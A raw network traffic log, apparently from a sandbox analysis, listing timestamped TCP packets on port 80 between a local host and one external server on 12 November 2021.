Nov 12, 2021 22:23:39.375188112 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375212908 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375238895 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375266075 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375291109 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375315905 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375341892 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375365973 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375983953 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.377806902 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.377918005 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.383791924 CET	80	49875	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.383965015 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.383987904 CET	80	49877	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.384084940 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.384613991 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.407345057 CET	80	49877	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.412955046 CET	80	49877	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.413079977 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.516330957 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.516588926 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.517735004 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.538595915 CET	80	49877	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.538700104 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.538943052 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.539114952 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.540155888 CET	80	49878	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.540280104 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.540863037 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.563316107 CET	80	49878	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.565828085 CET	80	49878	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.565907001 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.673841000 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.677747965 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.696475029 CET	80	49878	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.696599007 CET	49878	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.700314999 CET	80	49879	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.700510025 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.701807976 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.724895954 CET	80	49879	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.727602005 CET	80	49879	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.727734089 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.833939075 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.835176945 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.847008944 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.856704950 CET	80	49879	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.856780052 CET	49879	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.857665062 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.857759953 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.858352900 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.858475924 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.858669043 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.859452963 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.869894028 CET	80	49882	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.870018005 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.870584011 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.880611897 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.880646944 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.880894899 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.880981922 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.881011963 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881047964 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881079912 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.881093025 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881107092 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881115913 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881117105 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.881129026 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881138086 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.881145954 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.881175041 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.881206036 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.882217884 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.882245064 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.882378101 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.892887115 CET	80	49882	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.896327972 CET	80	49882	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.896450996 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904189110 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904308081 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904329062 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904381990 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904386997 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904423952 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904455900 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904457092 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904485941 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904515982 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904546022 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904623032 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904670000 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904684067 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904691935 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904706001 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904712915 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904727936 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904736996 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904743910 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904751062 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904761076 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904766083 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904783964 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904834986 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904874086 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.904920101 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904948950 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904969931 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.904983044 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.905113935 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.905136108 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.926733017 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.926829100 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.926899910 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.926950932 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.926990032 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927032948 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927047014 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927057028 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927066088 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.927073956 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927090883 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927093983 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.927105904 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927120924 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927134037 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.927150965 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927155018 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.927191019 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927205086 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927226067 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927241087 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927256107 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927339077 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927359104 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.927400112 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927413940 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927428961 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927443981 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927460909 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927475929 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927675962 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927691936 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927707911 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927721977 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927737951 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927753925 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927767992 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927783012 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927798986 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927813053 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927829981 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927843094 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927858114 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927871943 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.927885056 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949311018 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949492931 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949630976 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949664116 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949687958 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949712992 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949737072 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949759960 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949875116 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.949992895 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.950021982 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.950047016 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.950294971 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.958003998 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.958100080 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.001981020 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.027946949 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.028067112 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.143006086 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.143954039 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.146413088 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.166532993 CET	80	49882	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.166539907 CET	80	49881	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.166649103 CET	49882	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.166685104 CET	49881	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.168988943 CET	80	49883	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.169161081 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.169699907 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.192092896 CET	80	49883	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.196660995 CET	80	49883	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.196738958 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.313129902 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.314641953 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.336107969 CET	80	49883	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.336215019 CET	49883	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.337028027 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.337156057 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.337696075 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.360126019 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.362768888 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.362869978 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.371305943 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.371372938 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.371558905 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.371644020 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.393743038 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394077063 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394174099 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.394253016 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394283056 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394310951 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394314051 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.394326925 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.394337893 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.394337893 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.394371986 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.394403934 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.416840076 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.416924000 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.416954994 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.416973114 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417066097 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417076111 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417119026 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417160034 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417175055 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417185068 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417217970 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417220116 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417252064 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417272091 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417304993 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417347908 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.417541027 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.417607069 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.439692020 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.439728975 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.439754009 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.439827919 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.439872026 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.440093040 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440203905 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440229893 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440254927 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440326929 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440356016 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440382957 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440407991 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440519094 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440593004 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.440896034 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.441186905 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.441292048 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.462230921 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.462264061 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.462431908 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.462634087 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.462754011 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.465370893 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.465462923 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.485399008 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.486812115 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.507947922 CET	80	49884	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.508038998 CET	49884	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.509274960 CET	80	49885	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.509421110 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.510149002 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.532407045 CET	80	49885	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.536098957 CET	80	49885	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.536161900 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.641271114 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.642430067 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.665894032 CET	80	49885	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.665990114 CET	49885	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.666040897 CET	80	49886	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.666151047 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.666706085 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.689129114 CET	80	49886	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.693264961 CET	80	49886	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.693849087 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.800271988 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.801405907 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.822709084 CET	80	49886	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.822918892 CET	49886	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.824187994 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.824394941 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.825269938 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.848083973 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.848125935 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.848155022 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.848332882 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.856478930 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.856553078 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.856748104 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.856894970 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.879406929 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879489899 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879518032 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879544020 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879579067 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879601002 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.879607916 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.879652977 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.879671097 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.879698038 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902518988 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902559042 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902581930 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902600050 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902615070 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902683020 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902698040 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902755022 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902761936 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902805090 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902822018 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902831078 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.902900934 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.902997017 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.903069973 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.903544903 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925328970 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925360918 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925376892 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925393105 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925440073 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925467014 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925520897 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925519943 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925548077 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925551891 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925560951 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925566912 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925571918 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925576925 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925614119 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925623894 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925623894 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925715923 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925733089 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925734997 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925743103 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925774097 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925787926 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925810099 CET	49887	80	192.168.2.4	178.208.83.45
